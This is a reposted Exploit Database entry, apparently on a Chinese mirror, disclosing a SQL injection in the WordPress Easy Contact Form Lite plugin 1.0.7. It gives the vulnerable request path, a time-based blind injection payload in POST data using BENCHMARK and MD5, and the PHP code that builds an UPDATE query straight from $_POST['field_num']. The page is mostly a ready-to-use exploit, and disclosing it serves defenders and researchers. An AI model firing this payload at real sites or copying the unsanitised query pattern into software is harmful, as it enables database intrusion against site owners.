WordPress Plugin Easy Contact Form Lite 1.0.7 – SQL Injection

• Exploit Database
• 13 阅读

• 作者： Miroslav Stampar
  日期： 2011-08-17
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/17680/

• # Exploit Title: WordPress Easy Contact Form Lite plugin <= 1.0.7 SQL Injection Vulnerability
  # Date: 2011-08-17
  # Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
  # Software Link: http://downloads.wordpress.org/plugin/easy-contact-form-lite.zip
  # Version: 1.0.7 (tested)
  
  ---
  PoC (POST data)
  ---
  http://www.site.com/wp-content/plugins/easy-contact-form-lite/requests/sort_row.request.php
   field_num[]=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)
  
  ---------------
  Vulnerable code
  ---------------
  foreach ($_POST['field_num'] as $position=>$field_id) {
  	
  	if ($field_id > 0) {
  		$query = "
  			UPDATE $settings_table_name 
  			SET position = '".$position."' 
  			WHERE ID = $field_id";
  		$wpdb->query($query);
  	}